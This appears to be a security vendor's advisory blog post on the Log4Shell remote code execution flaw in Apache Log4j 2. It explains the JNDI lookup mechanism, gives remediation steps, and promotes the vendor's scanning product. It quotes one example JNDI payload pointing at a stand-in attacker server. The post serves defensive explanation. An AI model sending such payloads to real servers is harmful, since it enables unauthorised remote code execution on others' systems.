On 9 December 2021, Apache disclosed that the Log4j 2 utility contains a critical vulnerability that allows unauthenticated remote code execution (RCE), a serious issue that impacts a large number of applications.
This post is coauthored by Chetan Conikee, Fabian Yamaguchi, and Katie Horne.
What is affected?
Log4j is a popular open source logging package included as a dependency in a lot of major frameworks, such as Apache Struts2.
The Log4Shell RCE vulnerability will allow attackers to run arbitrary code by sending requests to servers running vulnerable versions of Apache Log4j. The attack has been dubbed “Log4Shell” and given the CVE number CVE-2021-44228. Apache Log4j versions <=2.14.1 are vulnerable to attack.
How does the attack work?
When parsing logs, Log4j inspects the input it receives and tries to resolve variables contained within the input. In particular, Log4j supports JNDI lookups, which allows variables to be retrieved over a network.
If an application is using a vulnerable Log4j version, an attacker can first send a string to the application that contains the malicious payload ${jndi:ldap://attacker.com/abc} where attacker.com is an attacker controlled server.
The vulnerable application will interpret input contained within ${} as a JDNI resource and make a request to attacker.com to retrieve the resource. The attacker can send back a remote Java class file, which will then be loaded by the vulnerable application.
How do I remediate this issue?
To secure your code against this vulnerability, upgrade your log4j library to the newest version. From log4j 2.15.0, the vulnerable lookup behavior has been disabled by default.
If you are unable to upgrade your library, you can temporarily mitigate this vulnerability by:
- Setting the
log4j2.formatMsgNoLookupsparameter totruewhen starting Java Virtual Machine. - Removing the class
JndiLookupfrom the Java Classpath:
zip -q -d log4j-core-*.jar
org/apache/logging/log4j/core/lookup/JndiLookup.class
You can use ShiftLeft CORE (https://www.shiftleft.io/) to help you:
- Verify the version of the Log4j library that you’re using
- Identify the parts of your code where you’re using older, affected versions of Log4j and attacker-supplied input is passed to logging calls
- See whether the library is reachable from an untrusted source using Intelligent SCA.
Keep an eye on your application logs and review them for any unusual activity. We will update this post with more details as they become available.
To get a free ShiftLeft CORE account, visit https://www.shiftleft.io/register.
To try Intelligent SCA, sign up for a premium trial within ShiftLeft CORE.